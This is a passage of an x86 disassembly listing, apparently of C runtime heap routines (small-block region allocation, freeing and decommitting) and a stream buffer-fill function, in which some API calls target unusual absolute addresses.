		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_41E8BE
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41E8BE
; ---------------------------------------------------------------------------

loc_41E89D:				; CODE XREF: sub_41E680+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E8BE
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx

loc_41E8BE:				; CODE XREF: sub_41E680+214j
					; sub_41E680+21Bj ...
		mov	ebx, [ebp+arg_4]

loc_41E8C1:				; CODE XREF: sub_41E680+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41E8E8
		push	3Fh
		pop	esi

loc_41E8E8:				; CODE XREF: sub_41E680+1DDj
					; sub_41E680+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41E965
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_41E93C
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E92F
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi

loc_41E92F:				; CODE XREF: sub_41E680+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_41E961
; ---------------------------------------------------------------------------

loc_41E93C:				; CODE XREF: sub_41E680+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E952
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi

loc_41E952:				; CODE XREF: sub_41E680+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h

loc_41E961:				; CODE XREF: sub_41E680+2BAj
		shr	edx, cl
		or	[eax], edx

loc_41E965:				; CODE XREF: sub_41E680+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax

loc_41E96E:				; CODE XREF: sub_41E680+1A2j
					; sub_41E680:loc_41E82Ej
		push	1
		pop	eax

loc_41E971:				; CODE XREF: sub_41E680+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E680	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E976	proc near		; CODE XREF: sub_41EC6E:loc_41EE3Dp
		cmp	dword_43A310, 0FFFFFFFFh
		push	ebx
		push	ebp
		push	esi
		push	edi
		jnz	short loc_41E98A
		mov	esi, offset off_43A300
		jmp	short loc_41E9A7
; ---------------------------------------------------------------------------

loc_41E98A:				; CODE XREF: sub_41E976+Bj
		push	2020h
		push	0
		push	dword_4DC944
		nop
		call	near ptr 27A0000h
		mov	esi, eax
		test	esi, esi
		jz	loc_41EAB3

loc_41E9A7:				; CODE XREF: sub_41E976+12j
		mov	ebp, dword_4271C4
		push	4
		push	2000h
		push	400000h
		push	0
		call	ebp
		mov	edi, eax
		test	edi, edi
		jz	loc_41EA9C
		push	4
		mov	ebx, 10000h
		push	1000h
		push	ebx
		push	edi
		call	ebp
		test	eax, eax
		jz	loc_41EA8E
		mov	eax, offset off_43A300
		cmp	esi, eax
		jnz	short loc_41EA06
		cmp	off_43A300, 0
		jnz	short loc_41E9F6
		mov	off_43A300, eax

loc_41E9F6:				; CODE XREF: sub_41E976+79j
		cmp	off_43A304, 0
		jnz	short loc_41EA1B
		mov	off_43A304, eax
		jmp	short loc_41EA1B
; ---------------------------------------------------------------------------

loc_41EA06:				; CODE XREF: sub_41E976+70j
		mov	[esi], eax
		mov	eax, off_43A304
		mov	[esi+4], eax
		mov	off_43A304, esi
		mov	eax, [esi+4]
		mov	[eax], esi

loc_41EA1B:				; CODE XREF: sub_41E976+87j
					; sub_41E976+8Ej
		lea	eax, [edi+400000h]
		lea	ecx, [esi+98h]
		mov	[esi+14h], eax
		lea	eax, [esi+18h]
		mov	[esi+0Ch], ecx
		mov	[esi+10h], edi
		mov	[esi+8], eax
		xor	ebp, ebp
		mov	ecx, 0F1h

loc_41EA3D:				; CODE XREF: sub_41E976+E2j
		xor	edx, edx
		cmp	ebp, 10h
		setnl	dl
		dec	edx
		and	edx, ecx
		dec	edx
		inc	ebp
		mov	[eax], edx
		mov	[eax+4], ecx
		add	eax, 8
		cmp	ebp, 400h
		jl	short loc_41EA3D
		push	ebx
		push	0
		push	edi
		call	sub_41B590
		add	esp, 0Ch

loc_41EA66:				; CODE XREF: sub_41E976+112j
		mov	eax, [esi+10h]
		add	eax, ebx
		cmp	edi, eax
		jnb	short loc_41EA8A
		or	byte ptr [edi+0F8h], 0FFh
		lea	eax, [edi+8]
		mov	[edi], eax
		mov	dword ptr [edi+4], 0F0h
		add	edi, 1000h
		jmp	short loc_41EA66
; ---------------------------------------------------------------------------

loc_41EA8A:				; CODE XREF: sub_41E976+F7j
		mov	eax, esi
		jmp	short loc_41EAB5
; ---------------------------------------------------------------------------

loc_41EA8E:				; CODE XREF: sub_41E976+63j
		push	8000h
		push	0
		push	edi
		nop
		call	near ptr 28B0703h

loc_41EA9C:				; CODE XREF: sub_41E976+4Bj
		cmp	esi, offset off_43A300
		jz	short loc_41EAB3
		push	esi
		push	0
		push	dword_4DC944
		call	near ptr 2790000h
		nop

loc_41EAB3:				; CODE XREF: sub_41E976+2Bj
					; sub_41E976+12Cj
		xor	eax, eax

loc_41EAB5:				; CODE XREF: sub_41E976+116j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41E976	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EABA	proc near		; CODE XREF: sub_41EB10+A5p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	8000h
		push	0
		push	dword ptr [esi+10h]
		call	near ptr 28B0703h
		nop
		cmp	off_43C320, esi
		jnz	short loc_41EADF
		mov	eax, [esi+4]
		mov	off_43C320, eax

loc_41EADF:				; CODE XREF: sub_41EABA+1Bj
		cmp	esi, offset off_43A300
		jz	short loc_41EB07
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	esi
		push	0
		mov	[eax], ecx
		mov	eax, [esi]
		mov	ecx, [esi+4]
		mov	[eax+4], ecx
		push	dword_4DC944
		call	near ptr 2790000h
		nop
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41EB07:				; CODE XREF: sub_41EABA+2Bj
		or	dword_43A310, 0FFFFFFFFh
		pop	esi
		retn
sub_41EABA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EB10	proc near		; CODE XREF: sub_41EC29+3Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43A304
		push	edi

loc_41EB1D:				; CODE XREF: sub_41EB10+B7j
		cmp	dword ptr [esi+10h], 0FFFFFFFFh
		jz	loc_41EBBB
		and	[ebp+var_4], 0
		lea	edi, [esi+2010h]
		mov	ebx, 3FF000h

loc_41EB36:				; CODE XREF: sub_41EB10+72j
		cmp	dword ptr [edi], 0F0h
		jnz	short loc_41EB77
		mov	eax, ebx
		push	4000h
		add	eax, [esi+10h]
		push	1000h
		push	eax
		call	near ptr 28B0703h
		nop
		test	eax, eax
		jz	short loc_41EB77
		or	dword ptr [edi], 0FFFFFFFFh
		dec	dword_4DB324
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	short loc_41EB6C
		cmp	eax, edi
		jbe	short loc_41EB6F

loc_41EB6C:				; CODE XREF: sub_41EB10+56j
		mov	[esi+0Ch], edi

loc_41EB6F:				; CODE XREF: sub_41EB10+5Aj
		inc	[ebp+var_4]
		dec	[ebp+arg_0]
		jz	short loc_41EB84

loc_41EB77:				; CODE XREF: sub_41EB10+2Cj
					; sub_41EB10+46j
		sub	ebx, 1000h
		sub	edi, 8
		test	ebx, ebx
		jge	short loc_41EB36

loc_41EB84:				; CODE XREF: sub_41EB10+65j
		cmp	[ebp+var_4], 0
		mov	ecx, esi
		mov	esi, [esi+4]
		jz	short loc_41EBBB
		cmp	dword ptr [ecx+18h], 0FFFFFFFFh
		jnz	short loc_41EBBB
		push	1
		lea	eax, [ecx+20h]
		pop	edx

loc_41EB9B:				; CODE XREF: sub_41EB10+9Aj
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41EBAC
		inc	edx
		add	eax, 8
		cmp	edx, 400h
		jl	short loc_41EB9B

loc_41EBAC:				; CODE XREF: sub_41EB10+8Ej
		cmp	edx, 400h
		jnz	short loc_41EBBB
		push	ecx
		call	sub_41EABA
		pop	ecx

loc_41EBBB:				; CODE XREF: sub_41EB10+11j
					; sub_41EB10+7Dj ...
		cmp	esi, off_43A304
		jz	short loc_41EBCD
		cmp	[ebp+arg_0], 0
		jg	loc_41EB1D

loc_41EBCD:				; CODE XREF: sub_41EB10+B1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EB10	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EBD2	proc near		; CODE XREF: sub_41B0B1+3Ap
					; sub_41B202+173p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	edx, offset off_43A300
		push	esi
		mov	ecx, edx

loc_41EBDE:				; CODE XREF: sub_41EBD2+1Cj
		cmp	eax, [ecx+10h]
		jbe	short loc_41EBE8
		cmp	eax, [ecx+14h]
		jb	short loc_41EBF0

loc_41EBE8:				; CODE XREF: sub_41EBD2+Fj
		mov	ecx, [ecx]
		cmp	ecx, edx
		jz	short loc_41EC25
		jmp	short loc_41EBDE
; ---------------------------------------------------------------------------

loc_41EBF0:				; CODE XREF: sub_41EBD2+14j
		test	al, 0Fh
		jnz	short loc_41EC25
		mov	esi, eax
		mov	edx, 100h
		and	esi, 0FFFh
		cmp	esi, edx
		jb	short loc_41EC25
		mov	esi, [esp+4+arg_4]
		mov	[esi], ecx
		mov	esi, [esp+4+arg_8]
		mov	ecx, eax
		and	cx, 0F000h
		sub	eax, ecx
		mov	[esi], ecx
		sub	eax, edx
		pop	esi
		sar	eax, 4
		lea	eax, [eax+ecx+8]
		retn
; ---------------------------------------------------------------------------

loc_41EC25:				; CODE XREF: sub_41EBD2+1Aj
					; sub_41EBD2+20j ...
		xor	eax, eax
		pop	esi
		retn
sub_41EBD2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EC29	proc near		; CODE XREF: sub_41B0B1+4Dp
					; sub_41B202+1D5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		sub	ecx, [eax+10h]
		sar	ecx, 0Ch
		lea	eax, [eax+ecx*8+18h]
		mov	ecx, [esp+arg_8]
		movzx	edx, byte ptr [ecx]
		add	[eax], edx
		and	byte ptr [ecx],	0
		cmp	dword ptr [eax], 0F0h
		mov	dword ptr [eax+4], 0F1h
		jnz	short locret_41EC6D
		inc	dword_4DB324
		cmp	dword_4DB324, 20h
		jnz	short locret_41EC6D
		push	10h
		call	sub_41EB10
		pop	ecx

locret_41EC6D:				; CODE XREF: sub_41EC29+2Bj
					; sub_41EC29+3Aj
		retn
sub_41EC29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EC6E	proc near		; CODE XREF: sub_41B202+1ACp
					; sub_41B513+4Ap ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43C320
		push	edi

loc_41EC7C:				; CODE XREF: sub_41EC6E+C6j
		mov	edx, [esi+10h]
		cmp	edx, 0FFFFFFFFh
		jz	loc_41ED27
		mov	edi, [esi+8]
		lea	ecx, [esi+2018h]
		mov	eax, edi
		sub	eax, esi
		sub	eax, 18h
		sar	eax, 3
		shl	eax, 0Ch
		add	eax, edx
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jnb	short loc_41ECE1

loc_41ECA7:				; CODE XREF: sub_41EC6E+6Fj
		mov	ecx, [edi]
		mov	ebx, [ebp+arg_0]
		cmp	ecx, ebx
		jl	short loc_41ECCA
		cmp	[edi+4], ebx
		jbe	short loc_41ECCA
		push	ebx
		push	ecx
		push	eax
		call	sub_41EE76
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41ED39
		mov	eax, [ebp+var_4]
		mov	[edi+4], ebx

loc_41ECCA:				; CODE XREF: sub_41EC6E+40j
					; sub_41EC6E+45j
		add	edi, 8
		lea	ecx, [esi+2018h]
		add	eax, 1000h
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jb	short loc_41ECA7
		jmp	short loc_41ECE4
; ---------------------------------------------------------------------------

loc_41ECE1:				; CODE XREF: sub_41EC6E+37j
		mov	ebx, [ebp+arg_0]

loc_41ECE4:				; CODE XREF: sub_41EC6E+71j
		mov	eax, [esi+8]
		mov	ecx, [esi+10h]
		lea	edi, [esi+18h]
		mov	[ebp+var_8], eax
		cmp	edi, eax
		mov	[ebp+var_4], ecx
		jnb	short loc_41ED2A

loc_41ECF7:				; CODE XREF: sub_41EC6E+B5j
		mov	eax, [edi]
		cmp	eax, ebx
		jl	short loc_41ED16
		cmp	[edi+4], ebx
		jbe	short loc_41ED16
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	sub_41EE76
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41ED39
		mov	[edi+4], ebx

loc_41ED16:				; CODE XREF: sub_41EC6E+8Dj
					; sub_41EC6E+92j
		add	[ebp+var_4], 1000h
		add	edi, 8
		cmp	edi, [ebp+var_8]
		jb	short loc_41ECF7
		jmp	short loc_41ED2A
; ---------------------------------------------------------------------------

loc_41ED27:				; CODE XREF: sub_41EC6E+14j
		mov	ebx, [ebp+arg_0]

loc_41ED2A:				; CODE XREF: sub_41EC6E+87j
					; sub_41EC6E+B7j
		mov	esi, [esi]
		cmp	esi, off_43C320
		jz	short loc_41ED49
		jmp	loc_41EC7C
; ---------------------------------------------------------------------------

loc_41ED39:				; CODE XREF: sub_41EC6E+54j
					; sub_41EC6E+A3j
		mov	off_43C320, esi
		sub	[edi], ebx
		mov	[esi+8], edi
		jmp	loc_41EE71
; ---------------------------------------------------------------------------

loc_41ED49:				; CODE XREF: sub_41EC6E+C4j
		mov	eax, offset off_43A300
		mov	edi, eax

loc_41ED50:				; CODE XREF: sub_41EC6E+F8j
		cmp	dword ptr [edi+10h], 0FFFFFFFFh
		jz	short loc_41ED5C
		cmp	dword ptr [edi+0Ch], 0
		jnz	short loc_41ED68

loc_41ED5C:				; CODE XREF: sub_41EC6E+E6j
		mov	edi, [edi]
		cmp	edi, eax
		jz	loc_41EE3D
		jmp	short loc_41ED50
; ---------------------------------------------------------------------------

loc_41ED68:				; CODE XREF: sub_41EC6E+ECj
		mov	ebx, [edi+0Ch]
		and	[ebp+var_4], 0
		mov	esi, ebx
		mov	eax, ebx
		sub	esi, edi
		sub	esi, 18h
		sar	esi, 3
		shl	esi, 0Ch
		add	esi, [edi+10h]
		cmp	dword ptr [ebx], 0FFFFFFFFh
		jnz	short loc_41ED97

loc_41ED86:				; CODE XREF: sub_41EC6E+127j
		cmp	[ebp+var_4], 10h
		jge	short loc_41ED97
		add	eax, 8
		inc	[ebp+var_4]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41ED86

loc_41ED97:				; CODE XREF: sub_41EC6E+116j
					; sub_41EC6E+11Cj
		mov	eax, [ebp+var_4]
		push	4
		shl	eax, 0Ch
		push	1000h
		push	eax
		push	esi
		mov	[ebp+var_8], eax
		nop
		call	near ptr 28B0846h
		cmp	eax, esi
		jnz	loc_41EE6F
		push	0
		push	[ebp+var_8]
		push	esi
		call	sub_41B590
		mov	edx, [ebp+var_4]
		add	esp, 0Ch
		test	edx, edx
		mov	ecx, ebx
		jle	short loc_41EDFE
		lea	eax, [esi+4]
		mov	[ebp+var_4], edx

loc_41EDD4:				; CODE XREF: sub_41EC6E+18Ej
		or	byte ptr [eax+0F4h], 0FFh
		lea	edx, [eax+4]
		mov	[eax-4], edx
		mov	edx, 0F0h
		mov	[eax], edx
		mov	[ecx], edx
		mov	dword ptr [ecx+4], 0F1h
		add	eax, 1000h
		add	ecx, 8
		dec	[ebp+var_4]
		jnz	short loc_41EDD4

loc_41EDFE:				; CODE XREF: sub_41EC6E+15Ej
		mov	off_43C320, edi
		lea	eax, [edi+2018h]

loc_41EE0A:				; CODE XREF: sub_41EC6E+1A8j
		cmp	ecx, eax
		jnb	short loc_41EE1A
		cmp	dword ptr [ecx], 0FFFFFFFFh
		jz	short loc_41EE18
		add	ecx, 8
		jmp	short loc_41EE0A
; ---------------------------------------------------------------------------

loc_41EE18:				; CODE XREF: sub_41EC6E+1A3j
		cmp	ecx, eax

loc_41EE1A:				; CODE XREF: sub_41EC6E+19Ej
		sbb	eax, eax
		and	eax, ecx
		mov	[edi+0Ch], eax
		mov	eax, [ebp+arg_0]
		mov	[esi+8], al
		mov	[edi+8], ebx
		sub	[ebx], eax
		sub	[esi+4], eax
		lea	ecx, [esi+eax+8]
		lea	eax, [esi+100h]
		mov	[esi], ecx
		jmp	short loc_41EE71
; ---------------------------------------------------------------------------

loc_41EE3D:				; CODE XREF: sub_41EC6E+F2j
		call	sub_41E976
		test	eax, eax
		jz	short loc_41EE6F
		mov	ecx, [eax+10h]
		mov	[ecx+8], bl
		lea	edx, [ecx+ebx+8]
		mov	off_43C320, eax
		mov	[ecx], edx
		mov	edx, 0F0h
		sub	edx, ebx
		mov	[ecx+4], edx
		movzx	edx, bl
		sub	[eax+18h], edx
		lea	eax, [ecx+100h]
		jmp	short loc_41EE71
; ---------------------------------------------------------------------------

loc_41EE6F:				; CODE XREF: sub_41EC6E+143j
					; sub_41EC6E+1D6j
		xor	eax, eax

loc_41EE71:				; CODE XREF: sub_41EC6E+D6j
					; sub_41EC6E+1CDj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EC6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EE76	proc near		; CODE XREF: sub_41EC6E+4Ap
					; sub_41EC6E+99p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_8]
		push	ebx
		push	esi
		mov	esi, [ecx+4]
		push	edi
		mov	edi, [ecx]
		lea	ebx, [ecx+0F8h]
		cmp	esi, edx
		mov	[ebp+var_4], edi
		mov	eax, edi
		mov	[ebp+arg_0], ebx
		jb	short loc_41EEBB
		lea	eax, [edi+edx]
		mov	[edi], dl
		cmp	eax, ebx
		jnb	short loc_41EEAA
		add	[ecx], edx
		sub	[ecx+4], edx
		jmp	short loc_41EEB3
; ---------------------------------------------------------------------------

loc_41EEAA:				; CODE XREF: sub_41EE76+2Bj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax

loc_41EEB3:				; CODE XREF: sub_41EE76+32j
		lea	eax, [edi+8]
		jmp	loc_41EF89
; ---------------------------------------------------------------------------

loc_41EEBB:				; CODE XREF: sub_41EE76+22j
		add	esi, edi
		cmp	byte ptr [esi],	0
		jz	short loc_41EEC4
		mov	eax, esi

loc_41EEC4:				; CODE XREF: sub_41EE76+4Aj
		lea	esi, [eax+edx]
		cmp	esi, ebx
		jnb	short loc_41EF0E

loc_41EECB:				; CODE XREF: sub_41EE76+96j
		mov	bl, [eax]
		test	bl, bl
		jnz	short loc_41EF01
		push	1
		lea	ebx, [eax+1]
		pop	esi

loc_41EED7:				; CODE XREF: sub_41EE76+68j
		cmp	byte ptr [ebx],	0
		jnz	short loc_41EEE0
		inc	ebx
		inc	esi
		jmp	short loc_41EED7
; ---------------------------------------------------------------------------

loc_41EEE0:				; CODE XREF: sub_41EE76+64j
		cmp	esi, edx
		jnb	short loc_41EF32
		cmp	eax, [ebp+var_4]
		jnz	short loc_41EEEE
		mov	[ecx+4], esi
		jmp	short loc_41EEFA
; ---------------------------------------------------------------------------

loc_41EEEE:				; CODE XREF: sub_41EE76+71j
		sub	[ebp+arg_4], esi
		cmp	[ebp+arg_4], edx
		jb	loc_41EF93

loc_41EEFA:				; CODE XREF: sub_41EE76+76j
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41EF06
; ---------------------------------------------------------------------------

loc_41EF01:				; CODE XREF: sub_41EE76+59j
		movzx	esi, bl
		add	eax, esi

loc_41EF06:				; CODE XREF: sub_41EE76+89j
		lea	esi, [eax+edx]
		cmp	esi, [ebp+arg_0]
		jb	short loc_41EECB

loc_41EF0E:				; CODE XREF: sub_41EE76+53j
		lea	esi, [ecx+8]

loc_41EF11:				; CODE XREF: sub_41EE76+EBj
					; sub_41EE76+F2j
		cmp	esi, edi
		jnb	short loc_41EF93
		lea	eax, [esi+edx]
		cmp	eax, [ebp+arg_0]
		jnb	short loc_41EF93
		mov	al, [esi]
		test	al, al
		jnz	short loc_41EF63
		push	1
		lea	ebx, [esi+1]
		pop	eax

loc_41EF29:				; CODE XREF: sub_41EE76+BAj
		cmp	byte ptr [ebx],	0
		jnz	short loc_41EF53
		inc	ebx
		inc	eax
		jmp	short loc_41EF29
; ---------------------------------------------------------------------------

loc_41EF32:				; CODE XREF: sub_41EE76+6Cj
		lea	ebx, [eax+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41EF43
		sub	esi, edx
		mov	[ecx], ebx
		mov	[ecx+4], esi
		jmp	short loc_41EF4C
; ---------------------------------------------------------------------------

loc_41EF43:				; CODE XREF: sub_41EE76+C2j
		and	dword ptr [ecx+4], 0
		lea	esi, [ecx+8]
		mov	[ecx], esi

loc_41EF4C:				; CODE XREF: sub_41EE76+CBj
		mov	[eax], dl
		add	eax, 8
		jmp	short loc_41EF89
; ---------------------------------------------------------------------------

loc_41EF53:				; CODE XREF: sub_41EE76+B6j
		cmp	eax, edx
		jnb	short loc_41EF6A
		sub	[ebp+arg_4], eax
		cmp	[ebp+arg_4], edx
		jb	short loc_41EF93
		mov	esi, ebx
		jmp	short loc_41EF11
; ---------------------------------------------------------------------------

loc_41EF63:				; CODE XREF: sub_41EE76+ABj
		movzx	eax, al
		add	esi, eax
		jmp	short loc_41EF11
; ---------------------------------------------------------------------------

loc_41EF6A:				; CODE XREF: sub_41EE76+DFj
		lea	ebx, [esi+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41EF7B
		sub	eax, edx
		mov	[ecx], ebx
		mov	[ecx+4], eax
		jmp	short loc_41EF84
; ---------------------------------------------------------------------------

loc_41EF7B:				; CODE XREF: sub_41EE76+FAj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax

loc_41EF84:				; CODE XREF: sub_41EE76+103j
		mov	[esi], dl
		lea	eax, [esi+8]

loc_41EF89:				; CODE XREF: sub_41EE76+40j
					; sub_41EE76+DBj
		imul	ecx, 0Fh
		shl	eax, 4
		sub	eax, ecx
		jmp	short loc_41EF95
; ---------------------------------------------------------------------------

loc_41EF93:				; CODE XREF: sub_41EE76+7Ej
					; sub_41EE76+9Dj ...
		xor	eax, eax

loc_41EF95:				; CODE XREF: sub_41EE76+11Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EE76	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EF9A	proc near		; CODE XREF: sub_41B202+19Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		movzx	ecx, byte ptr [edx]
		push	edi
		mov	edi, [ebp+arg_0]
		and	[ebp+var_4], 0
		mov	eax, ebx
		sub	eax, [edi+10h]
		sar	eax, 0Ch
		cmp	ecx, [ebp+arg_C]
		lea	edi, [edi+eax*8+18h]
		jbe	short loc_41EFD4
		mov	eax, [ebp+arg_C]
		sub	ecx, eax
		mov	[edx], al
		add	[edi], ecx
		mov	dword ptr [edi+4], 0F1h
		jmp	short loc_41F034
; ---------------------------------------------------------------------------

loc_41EFD4:				; CODE XREF: sub_41EF9A+26j
		jnb	short loc_41F03B
		mov	eax, [ebp+arg_C]
		lea	esi, [edx+eax]
		lea	eax, [ebx+0F8h]
		cmp	eax, esi
		jb	short loc_41F03B
		lea	eax, [ecx+edx]

loc_41EFE9:				; CODE XREF: sub_41EF9A+59j
		cmp	eax, esi
		jnb	short loc_41EFF7
		cmp	byte ptr [eax],	0
		jnz	short loc_41EFF5
		inc	eax
		jmp	short loc_41EFE9
; ---------------------------------------------------------------------------

loc_41EFF5:				; CODE XREF: sub_41EF9A+56j
		cmp	eax, esi

loc_41EFF7:				; CODE XREF: sub_41EF9A+51j
		jnz	short loc_41F03B
		mov	al, byte ptr [ebp+arg_C]
		mov	[edx], al
		mov	eax, [ebx]
		cmp	edx, eax
		ja	short loc_41F02F
		cmp	esi, eax
		jbe	short loc_41F02F
		lea	eax, [ebx+0F8h]
		cmp	esi, eax
		jnb	short loc_41F026
		xor	eax, eax
		mov	[ebx], esi
		cmp	[esi], al
		jnz	short loc_41F021

loc_41F01A:				; CODE XREF: sub_41EF9A+85j
		inc	eax
		cmp	byte ptr [esi+eax], 0
		jz	short loc_41F01A

loc_41F021:				; CODE XREF: sub_41EF9A+7Ej
		mov	[ebx+4], eax
		jmp	short loc_41F02F
; ---------------------------------------------------------------------------

loc_41F026:				; CODE XREF: sub_41EF9A+76j
		and	dword ptr [ebx+4], 0
		lea	eax, [ebx+8]
		mov	[ebx], eax

loc_41F02F:				; CODE XREF: sub_41EF9A+68j
					; sub_41EF9A+6Cj ...
		sub	ecx, [ebp+arg_C]
		add	[edi], ecx

loc_41F034:				; CODE XREF: sub_41EF9A+38j
		mov	[ebp+var_4], 1

loc_41F03B:				; CODE XREF: sub_41EF9A:loc_41EFD4j
					; sub_41EF9A+4Aj ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EF9A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F043	proc near		; CODE XREF: sub_41B11A+A9p
					; sub_41BB4F+2Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_41F117
		test	al, 40h
		jnz	loc_41F117
		test	al, 2
		jz	short loc_41F069
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_41F117
; ---------------------------------------------------------------------------

loc_41F069:				; CODE XREF: sub_41F043+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41F07D
		push	esi
		call	sub_4239EF
		pop	ecx
		jmp	short loc_41F082
; ---------------------------------------------------------------------------

loc_41F07D:				; CODE XREF: sub_41F043+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax

loc_41F082:				; CODE XREF: sub_41F043+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_41F11C
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_41F106
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41F106
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_41F0DB
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41F0C4
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, dword_4DC600[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_41F0C9
; ---------------------------------------------------------------------------

loc_41F0C4:				; CODE XREF: sub_41F043+6Bj
		mov	edi, offset dword_43C980

loc_41F0C9:				; CODE XREF: sub_41F043+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_41F0DB
		or	dh, 20h
		mov	[esi+0Ch], edx

loc_41F0DB:				; CODE XREF: sub_41F043+62j
					; sub_41F043+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_41F0F8
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_41F0F8
		test	ch, 4
		jnz	short loc_41F0F8
		mov	dword ptr [esi+18h], 1000h

loc_41F0F8:				; CODE XREF: sub_41F043+9Fj
					; sub_41F043+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
